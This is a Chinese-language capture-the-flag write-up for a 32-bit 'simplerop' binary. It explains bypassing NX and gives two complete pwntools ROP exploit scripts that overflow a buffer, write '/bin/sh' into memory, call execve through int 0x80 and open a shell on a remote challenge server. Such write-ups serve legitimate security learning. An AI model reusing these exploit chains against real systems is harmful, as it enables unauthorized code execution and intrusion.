第一种
  1. 查看文件所属位数

看到是32位

  1. 查看保护有什么

2024-11-27T08:36:34.png

NX 位是一个内存保护机制,它防止某些内存区域(如栈和堆)被执行。它可以有效地阻止这些区域中直接执行恶意代码。
绕过 NX 可以通过寄存器来提供值而不用栈来给值

  1. IDA查看伪汇编代码

这里发现了加载了很多静态的函数这里为第二种方法提供了思路
这里先找能用的寄存器通过ROP工具

python ROPgadget.py --binary rop --only "pop|ret"|grep ebx

2024-11-27T08:44:49.png

  1. 将数据通过read函数写入.bss段
  2. 通过系统号11调用execve函数

    python ROPgadget.py --binary ../simplerop --only "int"

然后把eax、ebx、ecx、edx的值构造最后调用即可

2024-11-27T08:52:08.png

EXP

from pwn import *
r = remote("node5.buuoj.cn", 29369)
execve = 0x080493e1
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
read = 0x806CD50
data = 0x080EAF84
payload = b'a'*0x20 + p32(read) + p32(pop_edx_ecx_ebx)
payload += p32(0) + p32(data) + p32(0x8) + p32(pop_eax)
payload += p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) +p32(0)
payload += p32(data) + p32(execve)
r.sendline(payload)
r.send('/bin/sh\x00')
r.interactive()

2024-11-27T08:56:49.png


第二种

用ROP工具直接生成因为有很多静态函数可以试一试

#!/usr/bin/env python3
# execve generated by ROPgadget
from pwn import *
from struct import pack
r = remote("node5.buuoj.cn", 25468)
# Padding goes here
p = b'a'*32
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += b'/sh\x00'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
p += p32(0x0)
p += p32(0x0)
p += pack('<I', 0x080ea060) # padding without overwrite ebx  @data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
r.sendlineafter('Your input :',p)
r.interactive()

标签: none

添加新评论